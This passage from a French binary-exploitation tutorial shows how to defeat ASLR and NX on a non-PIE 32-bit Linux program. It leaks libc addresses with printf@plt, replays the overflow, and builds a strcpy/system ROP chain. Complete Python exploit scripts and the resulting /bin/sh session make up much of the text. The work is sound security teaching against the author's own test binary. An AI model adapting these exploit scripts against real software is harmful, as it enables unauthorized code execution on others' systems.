Le problème des techniques vues jusqu'à maintenant est qu'elles reposent sur du bruteforce. Or, dès qu'on s'intéresse
à des exploits sur le réseau ou à des machines 64-bits, le bruteforce devient inexploitable ou bien trop bruyant. Souvent pourtant,
il est possible de s'en passer.
Exploiter les ressources statiques
En l'absence de PIE (
Position-Independent Executable), les adresses du .text, du .bss et du .data sont fixes. Autrement dit,
pour peu que l'on connaisse la version du programme exécuté (si on est en local, on si on prend les paquets de la distribution utilisée),
ces adresses seront uniques pour toute exécution du programme. S'il est possible d'exploiter seulement avec les bouts de code de
l'exécutable et le bss comme buffer, alors ASLR est rendu inutile. Cette technique a d'abord été utilisée en réécrivant les données
de la PLT (qui est exécutable), mais la PLT est désormais par défaut dans le RELRO (Read-Only Relocations) et n'est plus réinscriptible.
Je ne vais pas plus détailler cela, il y a déjà un très bon article d'agix sur le sujet :
How to make a ROP when gadgets seems to miss ?.
L'article est en anglais mais l'auteur est français, donc vous pouvez le contacter si l'envie vous en prend.
Forced Memory Disclosure
Ce qu'il est en revanche très souvent possible de faire malgré ASLR, c'est d'obtenir les adresses grâce à l'application elle-même. Avec
une format string, on est capables facilement de divulguer le contenu de toute adresse, mais comment faire dans le cas d'un
buffer overflow classique ? Deux astuces peu compliquées mais peu connues permettent souvent d'appliquer la même technique
qu'une format string rejouable à un buffer overflow : l'utilisation des fonctions de communication et le rejeu de la vulnérabilité.
La première étape est donc d'utiliser les fonctions de communication du programme contre lui. Puisque beaucoup d'applications ont
pour but de communiquer avec l'utilisateur, elles ont très probablement des entrées PLT que nous pouvons utiliser : send(), printf(), puts(), etc...
Si l'on contrôle les paramètres, à la manière d'un ROP classique en 32-bits, ou en contrôlant les bon registres en 64-bits,
il nous est possible de renvoyer le contenu de toute adresse arbitraire. J'ai repris le même programme vulnérable que précédemment en ajoutant des
fflush(stdout) après les printf(). Etudions les variables que nous pouvons utiliser :
$ gcc -m32 vuln.c -o vuln
$ objdump -R vuln
vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049844 R_386_GLOB_DAT __gmon_start__
08049880 R_386_COPY stdout
08049854 R_386_JUMP_SLOT printf
08049858 R_386_JUMP_SLOT fflush
0804985c R_386_JUMP_SLOT puts
08049860 R_386_JUMP_SLOT __gmon_start__
08049864 R_386_JUMP_SLOT __libc_start_main
08049868 R_386_JUMP_SLOT __isoc99_scanf
$ objdump -S -j .text vuln | grep printf -B4
80484d7: 57 push %edi
80484d8: 81 ec 94 00 00 00 sub $0x94,%esp
80484de: b8 50 86 04 08 mov $0x8048650,%eax
80484e3: 89 04 24 mov %eax,(%esp)
80484e6: e8 d5 fe ff ff call 80483c0 <printf@plt>
--
8048530: b8 60 86 04 08 mov $0x8048660,%eax
8048535: 8d 55 94 lea -0x6c(%ebp),%edx
8048538: 89 54 24 04 mov %edx,0x4(%esp)
804853c: 89 04 24 mov %eax,(%esp)
804853f: e8 7c fe ff ff call 80483c0 <printf@plt>
$ gdb -q ./vuln
Reading symbols from /tmp/vuln...(no debugging symbols found)...done.
(gdb) x/s 0x8048660
0x8048660: "Votre nom, %s, a été enregistré avec succès\n"
(gdb) q
$
Rien qu'avec ceci, nous avons assez pour connaître exactement l'adresse de base de la libc. En effet, si on force le programme à
retourner dans printf@plt avec comme argument 0x8048660, suivi de l'adresse GOT de __libc_start_main, le programme nous sortira les
bytes de l'entrée GOT, donc la position post-relocation de __libc_start_main dans la libc. On pourrait le faire avec puts et sans
chaîne formatée, cela permet simplement quand c'est possible d'avoir un pattern simple à matcher contre une expression régulière ensuite.
$ cat sploit.py
#!/usr/bin/python
from subprocess import *
from struct import *
libc_start_main_got = 0x08049864
printf_plt = 0x80483c0
pattern=0x8048660
payload = 'A'*112 + pack("<I", printf_plt) + "BBBB" + pack("<I", pattern) + pack("<I", libc_start_main_got)
sub=Popen("./vuln", stdin=PIPE)
sub.stdin.write(payload + "\n")
$ ./sploit.py
$ Votre nom ? Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?BBBB????, a été enregistré avec succès
Votre nom, `=`?@?c?, a été enregistré avec succès
$
Afin de pouvoir utiliser cette connaissance, il est nécessaire ensuite de rejouer la vulnérabilité. On voit que nous avons tout de même le contrôle
de l'adresse de retour post-printf (BBBB). Il suffit donc de forcer le rejeu du chemin d'exécution amenant la vulnérabilité. On récupère les
derniers maillons manquants pour notre exploitation :
$ objdump -S -j .text vuln | egrep "call.*enregistrer"
8048563: e8 6c ff ff ff call 80484d4 <enregistrer_nom>
$ objdump -h vuln | grep bss
25 .bss 0000000c 08049880 08049880 00000874 2**5
$ objdump -T /lib32/libc.so.6 | egrep -w "__libc_start_main|system|strcpy"
00076bf0 g DF .text 00000023 GLIBC_2.0 strcpy
00039650 w DF .text 0000007d GLIBC_2.0 system
00016d60 g DF .text 000001b5 GLIBC_2.0 __libc_start_main
$ find_str.py /lib32/libc.so.6 "/bin/sh"
Found / @ 0x413c
Found b @ 0x448c
Found i @ 0x499c
Found n @ 0x586c
Found / @ 0x6425
Found s @ 0xd154
Found h @ 0xdb1e
$
Au runtime, on est capables de déterminer l'adresse réelle de libc_start_main. Connaissant son offset, on la repositionne aisément
dans la libc et ensuite on est libre de faire tout ROP en un seul coup. J'ai fait un simple strcpy() + system() ici pour illustrer :
$ cat ./sploit.py
#!/usr/bin/python
from subprocess import *
from struct import *
import time
import re
libc_start_main_got = 0x08049864
printf_plt = 0x80483c0
pattern=0x8048660
trigger_vuln = 0x8048563
payload = 'A'*112 + "".join([pack("<I", addr) for addr in [printf_plt, trigger_vuln, pattern, libc_start_main_got]])
sub=Popen("./vuln", stdin=PIPE, stdout=PIPE, shell=True)
sub.stdin.write(payload + "\n")
sub.stdout.readline() # normal output
ret = re.search("Votre nom, (.*),", sub.stdout.readline())
libc_start_main = unpack("<I", ret.group(1)[0:4])[0]
libc_base = libc_start_main - 0x16d60
print "[+] libc_base @ " + hex(libc_base)
system = libc_base + 0x39650
strcpy = libc_base + 0x76bf0
slash_char = libc_base + 0x413c
b_char = libc_base + 0x448c
i_char = libc_base + 0x499c
n_char = libc_base + 0x586c
s_char = libc_base + 0xd154
h_char = libc_base + 0xdb1e
bss_buf = 0x080498a0
pop2ret = 0x8048627
rop_stack = []
rop_stack.extend([strcpy, pop2ret, bss_buf, slash_char])
rop_stack.extend([strcpy, pop2ret, bss_buf+1, b_char])
rop_stack.extend([strcpy, pop2ret, bss_buf+2, i_char])
rop_stack.extend([strcpy, pop2ret, bss_buf+3, n_char])
rop_stack.extend([strcpy, pop2ret, bss_buf+4, slash_char])
rop_stack.extend([strcpy, pop2ret, bss_buf+5, s_char])
rop_stack.extend([strcpy, pop2ret, bss_buf+6, h_char])
rop_stack.extend([system, trigger_vuln, bss_buf])
payload = 'A'*112 + "".join([pack("<I", x) for x in rop_stack])
sub.stdin.write(payload + "\n")
sub.stdout.readline()
time.sleep(1)
while 1:
inp = raw_input("> ")
print inp
sub.stdin.write(inp + "\n")
if inp == "exit":
print sub.stdout.readline()
$ ./sploit.py
[+] libc_base @ 0xf760b000
> echo $0
echo $0
/bin/sh
> exit
exit
Segmentation fault
$
Ainsi, ce scenario qui est plausible dans beaucoup de cas nous offre une exploitation one-shot malgré ASLR et NX. Il faut cependant
préciser qu'un exécutable PIE ne fonctionnerait pas, car on ne connaitrait pas les adresses des entrées GOT/PLT, etc. Cependant,
trouver une seule de ces adresses fixes par quelque moyen que ce soit revient à connaître la position de toutes les librairies et des
segments .text et .bss avec PIE, car elles sont placées juste avant les librairies, sans padding (cf.
Secure FS du
PlaidCTF 2012 pour un exécutable PIE permettant quand même une telle exploitation, sans contrôle initial de la pile).
Pour résumer, il est rare de ne pas pouvoir exploiter une vulnérabilité malgré les protections communes mises en place. Contre
les stack overflows, la plus efficace reste le stack cookie, mais il ne faut oublier qu'il se trouve également en mémoire dans le
TCB (
Thread Control Block) et qu'une détection de stack smashing entraîne un appel à l'entrée GOT __stack_chk_fail. Ces
deux éléments permettent donc parfois une exploitation. De plus, les vulnérabilités actuelles sont plus tirées vers le heap car
les applications sont amenées à manipuler beaucoup de données dynamiques.
Les systèmes 32-bits sont fortement vulnérables au bruteforce d'ASLR, mais avec un peu plus de difficultés à distance. Sans PIE,
il est quasiment toujours possible de faire un ROP seulement avec les chunks du .text, et souvent possible de forcer l'exécutable à
divulguer ses adresses.
Ceci conlut pour l'instant cette section sur l'exploitation de vulnérabilités classiques sous Linux, avec le temps j'essaierai de faire
la transposée sous Windows.